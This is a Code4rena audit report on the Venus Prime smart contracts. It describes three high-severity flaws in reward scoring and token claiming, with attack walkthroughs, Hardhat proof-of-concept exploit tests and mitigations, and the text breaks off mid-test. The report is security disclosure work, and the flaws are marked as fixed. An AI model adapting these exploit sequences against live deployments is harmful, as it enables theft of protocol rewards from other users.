Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Venus Prime smart contract system written in Solidity. The audit took place between September 28—October 4 2023.

Wardens

130 Wardens contributed reports to Venus Prime:

1. Testerbot
2. 0xTheC0der
3. 0xDetermination
4. Brenzee
5. ether_sky
6. SpicyMeatball
7. Breeje
8. tapir
9. santipu_
10. sces60107
11. ast3ros
12. pep7siup
13. ThreeSigma (0x73696d616f, 0xCarolina, EduCatarino, and SolidityDev99)
14. said
15. 3agle
16. rokinot
17. PwnStars (qbs and sakshamguruji)
18. neumo
19. blutorque
20. Pessimistic (olegggatttor, yhtyyar, and PavelCore)
21. DavidGiladi
22. oakcobalt
23. hals
24. bin2chen
25. DeFiHackLabs (AkshaySrivastav, Cache_and_Burn, IceBear, Ronin, Sm4rty, SunSec, sashik_eth, zuhaibmohd, and ret2basic)
26. Norah
27. seerether
28. turvy_fuzz
29. dirk_y
30. deadrxsezzz
31. 0xprinc
32. 0x3b
33. deth
34. J4X
35. Satyam_Sharma
36. gkrastenov
37. merlin
38. Flora
39. KrisApostolov
40. berlin-101
41. twicek
42. 0xpiken
43. rvierdiiev
44. HChang26
45. mahdirostami
46. lsaudit
47. aycozynfada
48. sl1
49. 0xhacksmithh
50. pavankv
51. Bauchibred
52. maanas
53. josephdara
54. 0xweb3boy
55. al88nsk
56. xAriextz
57. pina
58. SBSecurity (Slavcheww and Blckhv)
59. dethera
60. 0xblackskull
61. tsvetanovv
62. ADM
63. debo
64. ArmedGoose
65. jkoppel
66. 0xWaitress
67. radev_sw
68. hunter_w3b
69. kaveyjoe
70. versiyonbir
71. jamshed
72. pontifex
73. hihen
74. 0xScourgedev
75. Maroutis
76. inzinko
77. ge6a
78. 0xMosh
79. btk
80. 0xdice91
81. Fulum
82. imare
83. Aymen0909
84. SPYBOY
85. jnforja
86. alexweb3
87. Mirror
88. 0xTiwa
89. d3e4
90. tonisives
91. MohammedRizwan
92. Tricko
93. 0xfusion
94. glcanvas
95. lotux
96. y4y
97. sashik_eth
98. Krace
99. Daniel526
100. squeaky_cactus
101. joaovwfreire
102. peanuts
103. vagrant
104. nobody2018
105. nisedo
106. IceBear
107. terrancrypt
108. Hama
109. n1punp
110. nadin
111. e0d1n
112. kutugu
113. TangYuanShen
114. orion
115. ptsanev

This audit was judged by 0xDjango.

Final report assembled by PaperParachute.

Summary

The C4 analysis yielded an aggregated total of 5 unique vulnerabilities. Of these vulnerabilities, 3 received a risk rating in the category of HIGH severity and 3 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 88 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 11 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Venus Prime repository, and is composed of 7 smart contracts written in the Solidity programming language and includes 1039 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, Tera Bot from warden kn0t, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (3)

[H-01] Prime.sol - User can claim Prime token without having any staked XVS, because his stakedAt isn’t reset whenever he is issued an irrevocable token

Submitted by deth, also found by rokinot, gkrastenov, merlin, Testerbot, 0xDetermination, 3agle, aycozynfada, Flora, KrisApostolov, berlin-101, santipu_, twicek, sl1, 0xpiken, Brenzee, rvierdiiev, tapir, HChang26, Satyam_Sharma, mahdirostami, and said

Whenever a new Prime token is created, the users stakedAt is reset to 0. This happens when the user claim a revocable token and when he is issue a revocable token, but it does not happen when a user is issue an irrevocable token.

This is issue()

function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    // We don't reset here.
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }

                unchecked {
                    i++;
                }
            }
        } else {
            for (uint256 i = 0; i < users.length; ) {
                _mint(false, users[i]);
                _initializeMarkets(users[i]);
                
                // We reset stakedAt here
                delete stakedAt[users[i]];

                unchecked {
                    i++;
                }
            }
        }
    }

We can see that when a revocable token is issued and minted the user’s stakedAt is reset to 0. Whenever a user’s token is upgraded, his stakedAt has already been reset to 0 inside claim.

function claim() external {
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();
        
        // We reset stakedAt here
        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }

The only one time when we don’t reset the user’s stakedAt and it’s when he is issued an irrevocable token.

Let’s see an example and see why this is a problem:

1. Alice deposits 10k XVS.
2. The protocol/DAO/admin decides to issue Alice an irrevocable prime token, because she deposited such a large amount of tokens. Keep in mind that the 90 day staking period still hasn’t passed and her stakedAt is the original time that she deposited 10k XVS.
3. Time passes and Alice decides to withdraw her entire XVS, so now she has 0 XVS. Her token isn’t burned as she has an irrevocable token.
4. Even more time passes and the protocol/DAO/admin decides to burn Alice’s irrevocable token because she is inactive.
5. EVEN more time passes and Alice returns to the protocol and instead of depositing anything, she calls claim.

Her tx goes through, since her stakedAt wasn’t reset to 0 when she got issued her irrevocable token.

This way, Alice claimed a revocable token without having any XVS staked in the contract.

Proof of Concept

Add the following line at the top of tests/hardhat/Prime/Prime.ts. We’ll use this to simulate time passing

import { time } from "@nomicfoundation/hardhat-network-helpers";

Paste the following inside tests/hardhat/Prime/Prime.ts and run npx hardhat test tests/hardhat/Prime/Prime.ts.

it.only("User can get Prime token without any XVS staked", async () => {
      // User1 deposits 10k XVS
      await xvs.transfer(await user1.getAddress(), parseUnits("10000", 18));
      await xvs.connect(user1).approve(xvsVault.address, parseUnits("10000", 18));
      await xvsVault.connect(user1).deposit(xvs.address, 0, parseUnits("10000", 18));
      let userInfo = await xvsVault.getUserInfo(xvs.address, 0, user1.getAddress());
      expect(userInfo.amount).to.eq(parseUnits("10000", 18));

      // Venus decides to issue an irrevocable Prime token to User1 for staking such a large amount.
      // Note that the 90 day staking period still hasn't passed
      await prime.issue(true, [user1.getAddress()]);
      let token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(true);

      // User1 withdraws her entire balance XVS
      await xvsVault.connect(user1).requestWithdrawal(xvs.address, 0, parseUnits("10000", 18));
      userInfo = await xvsVault.getUserInfo(xvs.address, 0, user1.getAddress());
      expect(userInfo.pendingWithdrawals).to.eq(parseUnits("10000", 18));

      // User1's Prime token gets burned by protocol
      await prime.burn(user1.getAddress());
      token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(false);
      expect(token.isIrrevocable).to.be.equal(false);

      // 100 days pass
      await time.increase(8640000);

      // User1 can claim a revocable Prime token without any XVS staked, because his stakedAt wasn't reset to 0
      expect(prime.stakedAt(await user1.getAddress())).to.not.be.equal(0);

      await prime.connect(user1).claim();
      token = await prime.tokens(user1.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(false);
    });

If you are having trouble running the test, this change might fix it. Inside Prime.sol, burn() remove the access control from the function. This doesn’t change the attack and the test outcome.

function burn(address user) external {
        // _checkAccessAllowed("burn(address)");
        _burn(user);
    }

Tools Used

Hardhat

Recommended Mitigation Steps

Reset the user’s stakedAt whenever he is issued an irrevocable token.

function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                    delete stakedAt[users[i]]; 
                }
          ...

chechu (Venus) confirmed and commented:

Fixed here.

0xDjango (Judge) commented:

Valid issue with serious impact to the protocol.

[H-02] A malicious user can avoid unfavorable score updates after alpha/multiplier changes, resulting in accrual of outsized rewards for the attacker at the expense of other users

Submitted by 0xDetermination, also found by hals, Testerbot, bin2chen, Pessimistic, rokinot, ThreeSigma (1, 2), ether_sky, PwnStars, neumo, DeFiHackLabs, turvy_fuzz, Norah, dirk_y, deadrxsezzz, blutorque, SpicyMeatball, seerether, and said

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L397-L405

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L704-L756

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L623-L639

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L827-L833

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L200-L219

https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301

Please note: All functions/properties referred to are in the Prime.sol contract.

Impact

A malicious user can accrue outsized rewards at the expense of other users after updateAlpha() or updateMultipliers() is called.

Proof of Concept

An attacker can prevent their score from being updated and decreased after the protocol’s alpha or multipliers change. This is done by manipulatively decreasing the value of pendingScoreUpdates, then ensuring that only other user scores are updated until pendingScoreUpdates reaches zero, at which point calls to updateScores() will revert with the error NoScoreUpdatesRequired(). This can be done via the attacker calling updateScores() to update other users’ scores first and/or DoSing calls to updateScores() that would update the attacker’s score (see the issue titled “DoS and gas griefing of Prime.updateScores()”).

The core of this vulnerability is the attacker’s ability to manipulate pendingScoreUpdates. Notice below that claim(), which is called to mint a user’s Prime token, doesn’t change the value of pendingScoreUpdates:

    function claim() external { 
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }
    function _mint(bool isIrrevocable, address user) internal {
        if (tokens[user].exists) revert IneligibleToClaim();

        tokens[user].exists = true;
        tokens[user].isIrrevocable = isIrrevocable;

        if (isIrrevocable) {
            totalIrrevocable++;
        } else {
            totalRevocable++;
        }

        if (totalIrrevocable > irrevocableLimit || totalRevocable > revocableLimit) revert InvalidLimit();

        emit Mint(user, isIrrevocable);
    }
    function _initializeMarkets(address account) internal {
        address[] storage _allMarkets = allMarkets;
        for (uint256 i = 0; i < _allMarkets.length; ) {
            address market = _allMarkets[i];
            accrueInterest(market);

            interests[market][account].rewardIndex = markets[market].rewardIndex;
            uint256 score = _calculateScore(market, account);
            interests[market][account].score = score;
            markets[market].sumOfMembersScore = markets[market].sumOfMembersScore + score;

            unchecked {
                i++;
            }
        }
    }

However, burning a token decrements pendingScoreUpdates. (Burning a token is done by withdrawing XVS from XVSVault.sol so that the resulting amount staked is below the minimum amount required to possess a Prime token.) Notice below:

    function _burn(address user) internal {
        ...
        _updateRoundAfterTokenBurned(user);

        emit Burn(user);
    }
    function _updateRoundAfterTokenBurned(address user) internal { 
        if (totalScoreUpdatesRequired > 0) totalScoreUpdatesRequired--;

        if (pendingScoreUpdates > 0 && !isScoreUpdated[nextScoreUpdateRoundId][user]) {
            pendingScoreUpdates--;
        }
    }

To inappropriately decrement the value of pendingScoreUpdates, the attacker can backrun the transaction updating the alpha/multiplier, minting and burning a Prime token (this requires the attacker to have staked the minimum amount of XVS 90 days in advance). If the number of Prime tokens minted is often at the max number of Prime tokens minted, the attacker could burn an existing token and then mint and burn a new one. Since the value of !isScoreUpdated[nextScoreUpdateRoundId][user] is default false, pendingScoreUpdates will be inappropriately decremented if the burned token was minted after the call to updateMultipliers()/updateAlpha().

As aforementioned, the attacker can ensure that only other users’ scores are updated until pendingScoreUpdates reaches zero, at which point further calls to updateScores will revert with the custom error NoScoreUpdatesRequired().

Relevant code from updateScores() for reference:

    function updateScores(address[] memory users) external {
        if (pendingScoreUpdates == 0) revert NoScoreUpdatesRequired(); 
        if (nextScoreUpdateRoundId == 0) revert NoScoreUpdatesRequired();

        for (uint256 i = 0; i < users.length; ) {
            ...
            pendingScoreUpdates--;
            isScoreUpdated[nextScoreUpdateRoundId][user] = true;

            unchecked {
                i++;
            }

            emit UserScoreUpdated(user);
        }
    }

As seen, the attacker’s score can avoid being updated. This is signficant if a change in multiplier or alpha would decrease the attacker’s score. Because rewards are distributed according to the user’s score divided by the total score, the attacker can ‘freeze’ their score at a higher than appropriate value and accrue increased rewards at the cost of the other users in the market.

The attacker can also prevent score updates for other users. The attacker can ‘freeze’ a user’s score that would otherwise increase after the alpha/multiplier changes, resulting in even greater rewards accrued for the attacker and denied from other users. This is because it is possible to decrease the value of pendingScoreUpdates by more than one if the attacker mints and burns more than one token after the alpha/multiplier is updated.

Math to support that a larger score results in greater reward accrual

Let $a$ represent the attacker’s score if it is properly updated after a change in alpha/multiplier, $b$ represent the properly updated total score, and $c$ represent the difference between the attacker’s larger unupdated score and the attacker’s smaller updated score. Clearly $a$, $b$, and $c$ are positive with $a < b$. Consider the following inequality, which holds true since $a \< b$ :

$`\frac{a+c}{b+c} > \frac{a}{b} \iff a+c > \frac{a(b+c)}{b} \iff a+c > a+\frac{ac}{b}$

Test

Paste and run the below test in the ‘mint and burn’ scenario in Prime.ts (line 302)

    it("prevent_Update", async () => { //test to show attacker can arbitrarily prevent multiple users from being updated by `updateScores()`
      //setup 3 users
      await prime.issue(false, [user1.getAddress(), user2.getAddress(), user3.getAddress()]);
      await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user3).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user3).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //attacker sets up addresses to mint/burn and manipulate pendingScoreUpdates
      const [,,,,user4,user5] = await ethers.getSigners();
      await xvs.transfer(user4.address, bigNumber18.mul(1000000));
      await xvs.transfer(user5.address, bigNumber18.mul(1000000));
      await xvs.connect(user4).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user4).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await xvs.connect(user5).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user5).deposit(xvs.address, 0, bigNumber18.mul(1000));
      await mine(90 * 24 * 60 * 60);
      //change alpha, pendingScoreUpdates changed to 3
      await prime.updateAlpha(1, 5);
      //attacker backruns alpha update with minting and burning tokens, decreasing pendingScoreUpdates by 2
      await prime.connect(user4).claim();
      await xvsVault.connect(user4).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
      await prime.connect(user5).claim();
      await xvsVault.connect(user5).requestWithdrawal(xvs.address, 0, bigNumber18.mul(1000));
      //attacker updates user 3, decreasing pendingScoreUpdates by 1
      await prime.connect(user1).updateScores([user3.getAddress()])
      //users 1 and 2 won't be updated because pendingScoreUpdates is 0
      await expect(prime.updateScores([user1.getAddress(), user2.getAddress()])).to.be.revertedWithCustomError(prime, "NoScoreUpdatesRequired");
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Check if pendingScoreUpdates is nonzero when a token is minted, and increment it if so. This removes the attacker’s ability to manipulate pendingScoreUpdates.

    function _mint(bool isIrrevocable, address user) internal {
        if (tokens[user].exists) revert IneligibleToClaim();

        tokens[user].exists = true;
        tokens[user].isIrrevocable = isIrrevocable;

        if (isIrrevocable) { //@Gas
            totalIrrevocable++;
        } else {
            totalRevocable++;
        }

        if (totalIrrevocable > irrevocableLimit || totalRevocable > revocableLimit) revert InvalidLimit();
+       if (pendingScoreUpdates != 0) {unchecked{++pendingScoreUpdates;}} 

        emit Mint(user, isIrrevocable);
    }

Further Considerations

The call to updateMultipliers() can be frontrun by the attacker with staking XVS and/or lending/borrowing transactions in order to increase the attacker’s score before ‘freezing’ it.

If the attacker wants to keep the inflated score, no actions that update the attacker’s score can be taken. However, the attacker can claim the outsized rewards earned at any time and as often as desired since claimInterest() does not update user scores.

If anyone has knowledge that the exploit has occurred, it is possible for any user’s score in a market to be updated with a call to accrueInterestAndUpdateScore(), which can neutralize the attack.

The required amount of XVS staked for this exploit can be reduced by 1000 if this exploit is combined with the exploit titled “Irrevocable token holders can instantly mint a revocable token after burning and bypass the minimum XVS stake for revocable tokens”.

chechu (Venus) confirmed and commented:

Fixed here.

[H-03] Incorrect decimal usage in score calculation leads to reduced user reward earnings

Submitted by Brenzee, also found by Testerbot, 0xDetermination, santipu_, ast3ros, ether_sky, sces60107, pep7siup, Breeje, tapir, 0xTheC0der (1, 2), and SpicyMeatball

Users earned rewards are calculated incorrectly because of the incorrect decimals value used to calculate user’s score and markets sumOfMembersScore, which impacts the delta that is added to market’s rewardIndex when Prime.accrueInterest function is called.

Proof of Concept

All users rewards are calculated with the following formula:

rewards = (rewardIndex - userRewardIndex) * scoreOfUser;

This means that for user to earn rewards, market’s rewardIndex needs to periodically increase.

markets[vToken].rewardIndex is updated (increased), when Prime.accrueInterest is called.

Prime.sol:L583-L588

    uint256 delta;
    if (markets[vToken].sumOfMembersScore > 0) {
        delta = ((distributionIncome * EXP_SCALE) / markets[vToken].sumOfMembersScore);
    }

    markets[vToken].rewardIndex = markets[vToken].rewardIndex + delta;

From the code snippet above it is assumed that markets[vToken].sumOfMembersScore is precision of 18 decimals.

To ensure that user’s score and markets sumOfMemberScore are correctly calculated, in Prime._calculateScore function capital is adjusted to 18 decimals. After that capital is used in Scores.calculateScore function. Note: capital precision from _capitalForScore function is in precision of underlying token decimals.

Prime.sol:660-L663

    (uint256 capital, , ) = _capitalForScore(xvsBalanceForScore, borrow, supply, market);
    capital = capital * (10 ** (18 - vToken.decimals()));

    return Scores.calculateScore(xvsBalanceForScore, capital, alphaNumerator, alphaDenominator);

The mistake is made when vToken.decimals() is used instead of vToken.underlying().decimals().

To prove that this is the case, here are vTokens deployed on Binance Smart chain, their decimals and underlying token decimals:

Since vToken.decimals() is used, this means the precision of capital is 18 + (18 - 8) = 28 decimals instead of 18 decimals, which makes the score calculation from Score.calculateScore function incorrect, since the function expects capital to be in precision of 18 decimals.

As a result, delta for market’s rewardIndex is incorrectly calculated and it can be 0 even though it shouldn’t be, which means that users will not accrue any rewards.

Update current test with correct decimals for vTokens

Developers have made a mistake when writing the tests for Prime.sol - in the tests they have set vToken decimals to 18 instead of 8, which makes the tests pass, but on the Binance Smart Chain all of the vToken decimals are 8.

If the decimal value of vToken is set to 8 in the tests, then the tests will fail.

Change the vusdt, veth and vbnb decimals to 8 and run:

npx hardhat test tests/hardhat/Prime/*.ts tests/hardhat/integration/index.ts

This will make the current tests fail.

PoC Test

Here is a test where it shows, that rewardIndex is still 0 after Prime.accrueInterest is called, even though it should be > 0.

import { FakeContract, MockContract, smock } from "@defi-wonderland/smock";
import { loadFixture, mine } from "@nomicfoundation/hardhat-network-helpers";
import chai from "chai";
import { BigNumber, Signer } from "ethers";
import { ethers, upgrades } from "hardhat";

import { convertToUnit } from "../../../helpers/utils";
import {
  BEP20Harness,
  ComptrollerLens,
  ComptrollerLens__factory,
  ComptrollerMock,
  ComptrollerMock__factory,
  IAccessControlManager,
  IProtocolShareReserve,
  InterestRateModelHarness,
  PrimeLiquidityProvider,
  PrimeScenario,
  ResilientOracleInterface,
  VBep20Harness,
  XVS,
  XVSStore,
  XVSVault,
  XVSVaultScenario,
} from "../../../typechain";

const { expect } = chai;
chai.use(smock.matchers);

export const bigNumber18 = BigNumber.from("1000000000000000000"); // 1e18
export const bigNumber16 = BigNumber.from("10000000000000000"); // 1e16
export const vTokenDecimals = BigNumber.from(8);

type SetupProtocolFixture = {
  oracle: FakeContract<ResilientOracleInterface>;
  accessControl: FakeContract<IAccessControlManager>;
  comptrollerLens: MockContract<ComptrollerLens>;
  comptroller: MockContract<ComptrollerMock>;
  usdt: BEP20Harness;
  vusdt: VBep20Harness;
  eth: BEP20Harness;
  veth: VBep20Harness;
  xvsVault: XVSVaultScenario;
  xvs: XVS;
  xvsStore: XVSStore;
  prime: PrimeScenario;
  protocolShareReserve: FakeContract<IProtocolShareReserve>;
  primeLiquidityProvider: PrimeLiquidityProvider;
};

async function deployProtocol(): Promise<SetupProtocolFixture> {
  const [wallet, user1, user2, user3] = await ethers.getSigners();

  const oracle = await smock.fake<ResilientOracleInterface>("ResilientOracleInterface");
  const protocolShareReserve = await smock.fake<IProtocolShareReserve>("IProtocolShareReserve");
  const accessControl = await smock.fake<IAccessControlManager>("AccessControlManager");
  accessControl.isAllowedToCall.returns(true);
  const ComptrollerLensFactory = await smock.mock<ComptrollerLens__factory>("ComptrollerLens");
  const ComptrollerFactory = await smock.mock<ComptrollerMock__factory>("ComptrollerMock");
  const comptroller = await ComptrollerFactory.deploy();
  const comptrollerLens = await ComptrollerLensFactory.deploy();
  await comptroller._setAccessControl(accessControl.address);
  await comptroller._setComptrollerLens(comptrollerLens.address);
  await comptroller._setPriceOracle(oracle.address);
  await comptroller._setLiquidationIncentive(convertToUnit("1", 18));
  await protocolShareReserve.MAX_PERCENT.returns("100");

  const tokenFactory = await ethers.getContractFactory("BEP20Harness");
  const usdt = (await tokenFactory.deploy(
    bigNumber18.mul(100000000),
    "usdt",
    BigNumber.from(18),
    "BEP20 usdt",
  )) as BEP20Harness;

  const eth = (await tokenFactory.deploy(
    bigNumber18.mul(100000000),
    "eth",
    BigNumber.from(18),
    "BEP20 eth",
  )) as BEP20Harness;

  const wbnb = (await tokenFactory.deploy(
    bigNumber18.mul(100000000),
    "wbnb",
    BigNumber.from(18),
    "BEP20 wbnb",
  )) as BEP20Harness;

  const interestRateModelHarnessFactory = await ethers.getContractFactory("InterestRateModelHarness");
  const InterestRateModelHarness = (await interestRateModelHarnessFactory.deploy(
    BigNumber.from(18).mul(5),
  )) as InterestRateModelHarness;

  const vTokenFactory = await ethers.getContractFactory("VBep20Harness");
  const vusdt = (await vTokenFactory.deploy(
    usdt.address,
    comptroller.address,
    InterestRateModelHarness.address,
    bigNumber18,
    "VToken usdt",
    "vusdt",
    vTokenDecimals,
    wallet.address,
  )) as VBep20Harness;
  const veth = (await vTokenFactory.deploy(
    eth.address,
    comptroller.address,
    InterestRateModelHarness.address,
    bigNumber18,
    "VToken eth",
    "veth",
    vTokenDecimals,
    wallet.address,
  )) as VBep20Harness;
  const vbnb = (await vTokenFactory.deploy(
    wbnb.address,
    comptroller.address,
    InterestRateModelHarness.address,
    bigNumber18,
    "VToken bnb",
    "vbnb",
    vTokenDecimals,
    wallet.address,
  )) as VBep20Harness;

  //0.2 reserve factor
  await veth._setReserveFactor(bigNumber16.mul(20));
  await vusdt._setReserveFactor(bigNumber16.mul(20));

  oracle.getUnderlyingPrice.returns((vToken: string) => {
    if (vToken == vusdt.address) {
      return convertToUnit(1, 18);
    } else if (vToken == veth.address) {
      return convertToUnit(1200, 18);
    }
  });

  oracle.getPrice.returns((token: string) => {
    if (token == xvs.address) {
      return convertToUnit(3, 18);
    }
  });

  const half = convertToUnit("0.5", 18);
  await comptroller._supportMarket(vusdt.address);
  await comptroller._setCollateralFactor(vusdt.address, half);
  await comptroller._supportMarket(veth.address);
  await comptroller._setCollateralFactor(veth.address, half);

  await eth.transfer(user1.address, bigNumber18.mul(100));
  await usdt.transfer(user2.address, bigNumber18.mul(10000));

  await comptroller._setMarketSupplyCaps([vusdt.address, veth.address], [bigNumber18.mul(10000), bigNumber18.mul(100)]);

  await comptroller._setMarketBorrowCaps([vusdt.address, veth.address], [bigNumber18.mul(10000), bigNumber18.mul(100)]);

  const xvsFactory = await ethers.getContractFactory("XVS");
  const xvs: XVS = (await xvsFactory.deploy(wallet.address)) as XVS;

  const xvsStoreFactory = await ethers.getContractFactory("XVSStore");
  const xvsStore: XVSStore = (await xvsStoreFactory.deploy()) as XVSStore;

  const xvsVaultFactory = await ethers.getContractFactory("XVSVaultScenario");
  const xvsVault: XVSVaultScenario = (await xvsVaultFactory.deploy()) as XVSVaultScenario;

  await xvsStore.setNewOwner(xvsVault.address);
  await xvsVault.setXvsStore(xvs.address, xvsStore.address);
  await xvsVault.setAccessControl(accessControl.address);

  await xvs.transfer(xvsStore.address, bigNumber18.mul(1000));
  await xvs.transfer(user1.address, bigNumber18.mul(1000000));
  await xvs.transfer(user2.address, bigNumber18.mul(1000000));
  await xvs.transfer(user3.address, bigNumber18.mul(1000000));

  await xvsStore.setRewardToken(xvs.address, true);

  const lockPeriod = 300;
  const allocPoint = 100;
  const poolId = 0;
  const rewardPerBlock = bigNumber18.mul(1);
  await xvsVault.add(xvs.address, allocPoint, xvs.address, rewardPerBlock, lockPeriod);

  const primeLiquidityProviderFactory = await ethers.getContractFactory("PrimeLiquidityProvider");
  const primeLiquidityProvider = await upgrades.deployProxy(
    primeLiquidityProviderFactory,
    [accessControl.address, [xvs.address, usdt.address, eth.address], [10, 10, 10]],
    {},
  );

  const primeFactory = await ethers.getContractFactory("PrimeScenario");
  const prime: PrimeScenario = await upgrades.deployProxy(
    primeFactory,
    [
      xvsVault.address,
      xvs.address,
      0,
      1,
      2,
      accessControl.address,
      protocolShareReserve.address,
      primeLiquidityProvider.address,
      comptroller.address,
      oracle.address,
      10,
    ],
    {
      constructorArgs: [wbnb.address, vbnb.address, 10512000],
      unsafeAllow: ["constructor"],
    },
  );

  await xvsVault.setPrimeToken(prime.address, xvs.address, poolId);
  await prime.setLimit(1000, 1000);
  await prime.addMarket(vusdt.address, bigNumber18.mul("1"), bigNumber18.mul("1"));
  await prime.addMarket(veth.address, bigNumber18.mul("1"), bigNumber18.mul("1"));
  await comptroller._setPrimeToken(prime.address);
  await prime.togglePause();

  return {
    oracle,
    comptroller,
    comptrollerLens,
    accessControl,
    usdt,
    vusdt,
    eth,
    veth,
    xvsVault,
    xvs,
    xvsStore,
    prime,
    protocolShareReserve,
    primeLiquidityProvider,
  };
}

describe("PoC", () => {
  let deployer: Signer;
  let user1: Signer;
  let user2: Signer;
  let user3: Signer;
  let comptroller: MockContract<ComptrollerMock>;
  let prime: PrimeScenario;
  let vusdt: VBep20Harness;
  let veth: VBep20Harness;
  let usdt: BEP20Harness;
  let eth: BEP20Harness;
  let xvsVault: XVSVault;
  let xvs: XVS;
  let oracle: FakeContract<ResilientOracleInterface>;
  let protocolShareReserve: FakeContract<IProtocolShareReserve>;
  let primeLiquidityProvider: PrimeLiquidityProvider;
  let vbnb: VBep20Harness;
  let bnb: BEP20Harness;

  before(async () => {
    [deployer, user1, user2, user3] = await ethers.getSigners();
    ({
      comptroller,
      prime,
      vusdt,
      veth,
      usdt,
      eth,
      xvsVault,
      xvs,
      oracle,
      protocolShareReserve,
      primeLiquidityProvider,
    } = await loadFixture(deployProtocol));

    await protocolShareReserve.getUnreleasedFunds.returns("0");
    await protocolShareReserve.getPercentageDistribution.returns("100");

    await xvs.connect(user1).approve(xvsVault.address, bigNumber18.mul(10000));
    await xvsVault.connect(user1).deposit(xvs.address, 0, bigNumber18.mul(10000));
    await mine(90 * 24 * 60 * 60);
    await prime.connect(user1).claim();

    await xvs.connect(user2).approve(xvsVault.address, bigNumber18.mul(100));
    await xvsVault.connect(user2).deposit(xvs.address, 0, bigNumber18.mul(100));

    await eth.connect(user1).approve(veth.address, bigNumber18.mul(90));
    await veth.connect(user1).mint(bigNumber18.mul(90));

    await usdt.connect(user2).approve(vusdt.address, bigNumber18.mul(9000));
    await vusdt.connect(user2).mint(bigNumber18.mul(9000));

    await comptroller.connect(user1).enterMarkets([vusdt.address, veth.address]);

    await comptroller.connect(user2).enterMarkets([vusdt.address, veth.address]);

    await vusdt.connect(user1).borrow(bigNumber18.mul(5));
    await veth.connect(user2).borrow(bigNumber18.mul(1));

    const tokenFactory = await ethers.getContractFactory("BEP20Harness");
    bnb = (await tokenFactory.deploy(
      bigNumber18.mul(100000000),
      "bnb",
      BigNumber.from(18),
      "BEP20 bnb",
    )) as BEP20Harness;

    const interestRateModelHarnessFactory = await ethers.getContractFactory("InterestRateModelHarness");
    const InterestRateModelHarness = (await interestRateModelHarnessFactory.deploy(
      BigNumber.from(18).mul(5),
    )) as InterestRateModelHarness;

    const vTokenFactory = await ethers.getContractFactory("VBep20Harness");
    vbnb = (await vTokenFactory.deploy(
      bnb.address,
      comptroller.address,
      InterestRateModelHarness.address,
      bigNumber18,
      "VToken bnb",
      "vbnb",
      BigNumber.from(8),
      deployer.getAddress(),
    )) as VBep20Harness;

    await vbnb._setReserveFactor(bigNumber16.mul(20));
    await primeLiquidityProvider.initializeTokens([bnb.address]);

    oracle.getUnderlyingPrice.returns((vToken: string) => {
      if (vToken == vusdt.address) {
        return convertToUnit(1, 18);
      } else if (vToken == veth.address) {
        return convertToUnit(1200, 18);
      } else if (vToken == vbnb.address) {
        return convertToUnit(300, 18);
      }
    });

    oracle.getPrice.returns((token: string) => {
      if (token == xvs.address) {
        return convertToUnit(3, 18);
      }
    });

    const half = convertToUnit("0.5", 8);
    await comptroller._supportMarket(vbnb.address);
    await comptroller._setCollateralFactor(vbnb.address, half);

    bnb.transfer(user3.getAddress(), bigNumber18.mul(100));

